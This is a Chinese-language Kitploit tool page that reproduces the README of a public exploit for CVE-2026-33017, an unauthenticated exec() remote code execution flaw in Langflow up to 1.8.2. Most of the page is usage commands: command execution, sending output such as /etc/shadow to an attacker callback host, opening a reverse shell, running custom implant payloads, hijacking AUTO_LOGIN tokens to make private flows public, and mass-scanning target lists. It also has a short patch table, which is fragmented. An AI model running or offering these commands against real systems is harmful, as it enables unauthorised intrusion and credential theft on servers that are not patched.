Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017-Exploit — # CVE-2026-33017 漏洞利用 — Langflow <= 1.8.2 中通过流程构建端点中的 exec() 实现未认证远程代码执行 | Kitploit
工具/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

# CVE-2026-33017 漏洞利用 — Langflow <= 1.8.2 中通过流程构建端点中的 exec() 实现未认证远程代码执行

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33017 - Langflow 未认证远程代码执行

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() 无认证、无沙箱、无希望。

Langflow <= 1.8.2 允许通过 POST /api/v1/build_public_tmp/{flow_id}/flow 端点进行未认证远程代码执行。攻击者提供的包含任意 Python 节点定义的流程数据会被直接传递给 exec(),且完全没有沙箱隔离。

  • CVSS: 9.8 严重
  • CWE: CWE-94(代码注入)、CWE-306(缺少认证)
  • 受影响版本: Langflow <= 1.8.2(包括 1.9.0-dev0 至 dev11)
  • 已修复版本: Langflow 1.9.0
  • CISA KEV: 2026-03-25 添加
  • 野外利用: 披露后 20 小时内

攻击链

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> 任意代码以服务器进程权限运行。游戏结束。

安装

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

使用方法

侦察 - 检查目标是否存在漏洞

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

盲命令执行

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

通过 GET 回调外传输出(base64 编码在 URL 路径中)

root@kitploit:~
# 终端 1:启动监听器
python3 -m http.server 8080

# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# 从监听器日志中解码 base64:
echo "dWlkPTEwMDAo..." | base64 -d

通过 POST 回调外传输出(原始输出在请求体中)

root@kitploit:~
# 终端 1:启动监听器
nc -l 8080

# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# 原始输出直接出现在 POST 请求体中 - 无需解码

反弹 Shell

root@kitploit:~
# 终端 1:启动监听器
nc -l 4444

# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

自定义 Python 载荷

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

载荷文件规则:

  • 代码通过 prepare_global_scope() 内的 exec() 在模块级别运行
  • 必须使用赋值语句(例如 _x = os.popen(...).read()),因为 AST 过滤器只执行 Assign、FunctionDef、ClassDef 节点
  • 阻塞调用应使用 threading.Thread(daemon=True) 以避免杀死异步事件循环

自动提升私有流程

当不存在 PUBLIC 流程但启用了 AUTO_LOGIN 时(许多部署中默认启用):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

这会劫持 AUTO_LOGIN 令牌,将第一个流程 PATCH 为 PUBLIC,然后利用它。

批量扫描

从文件中扫描多个目标(仅漏洞检查):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

targets.txt 格式:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 注释行会被忽略

输出显示:

  • 版本检测(存在漏洞 / 已修复)
  • AUTO_LOGIN 状态(免费令牌 = 易于提权)
  • PUBLIC 流程数量(可立即利用)

通过 Burp 代理

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

工作原理

  1. 版本检查 - 探测 /api/v1/version 以识别目标指纹
  2. 流程发现 - 使用 AUTO_LOGIN(如果启用)枚举流程并查找 PUBLIC 流程
  3. 载荷注入 - 构造一个包含 CustomComponent 节点的最小流程图,在 code 字段中嵌入恶意 Python 代码
  4. 代码执行 - 向 /api/v1/build_public_tmp/{flow_id}/flow 发送包含构造好的 data 参数的 POST 请求。Langflow 编译该图,依次调用 create_class() -> prepare_global_scope() -> 对攻击者代码执行 exec()

v1.9.0 中的修复完全移除了 data 参数,强制端点仅使用数据库中存储的流程数据。

补丁分析

版本状态
<= 1.8.1

参考链接

  • NVD - CVE-2026-33017
  • JFrog Research - 补丁绕过分析
  • Sysdig - 20 小时内被利用
  • CISA KEV
  • 修复提交
  • GitHub 安全公告:GHSA-rvqx-wpfh-mfx7

免责声明

本工具仅用于授权的安全研究。仅可对您拥有明确测试许可的系统使用。作者不对滥用行为负责。

下载工具
存在漏洞
1.8.2变更日志声称已修复,但代码从未更改(JFrog 确认)
1.9.0-dev0 至 dev11仍然存在漏洞
1.9.0真正修复 - 端点中移除了 data 参数